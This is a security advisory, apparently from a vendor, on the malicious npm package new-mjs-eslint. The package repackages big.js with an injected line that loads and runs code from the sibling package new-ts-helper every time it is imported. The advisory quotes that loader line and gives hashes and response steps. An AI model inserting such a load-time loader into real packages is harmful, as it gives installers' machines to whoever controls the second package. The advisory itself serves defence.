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Malicious package

new-mjs-eslintnpm

Advisory published Updated

new-mjs-eslint is a confirmed malicious npm package (MAL-2026-6226) that executes malicious code on install (malicious version 7.0.6). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in new-mjs-eslint (npm)

MAL-2026-6226
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall new-mjs-eslint

What this malware does

Package is published under the unrelated name 'new-mjs-eslint' but ships a verbatim copy of the big.js decimal-arithmetic library (original MikeMcl/big.js header, README, and source). Both main entrypoints, big.js and big.mjs, contain an injected line at lines 605-606: const helper = require("new-ts-helper"); helper.from_str().then(e => e).catch(e => { });. This fires on every require()/import of the package, loads the sibling dependency new-ts-helper, invokes its from_str() function, and silently swallows any error. The package name does not match its advertised content (eslint-shaped name, big.js content), the injected call sits mid-file rather than at a natural import location, and errors are deliberately suppressed — the entrypoint is a delivery vector for whatever code new-ts-helper ships, executed at load time on any installer that imports the package.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
7.0.6

Indicators of compromise (SHA-256)

b4ae24b182a00059424b8ea4800927bbbf662f0e6bf20264af611d37203a3f2e
33c541d27ff115106c670596de30296c9f70a28b44032568aa5d91045f06e5ae

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for new-mjs-eslint (version 7.0.6).

  2. If you installed it — respond

    Remove new-mjs-eslint from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If new-mjs-eslint was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. new-mjs-eslint on npm has been identified as a malicious package (version 7.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007070GHSA-m6jq-gwpx-8rj7

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks new-mjs-eslint-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

new-mjs-eslint (npm) malicious package — MAL-2026-6226 | O3 Security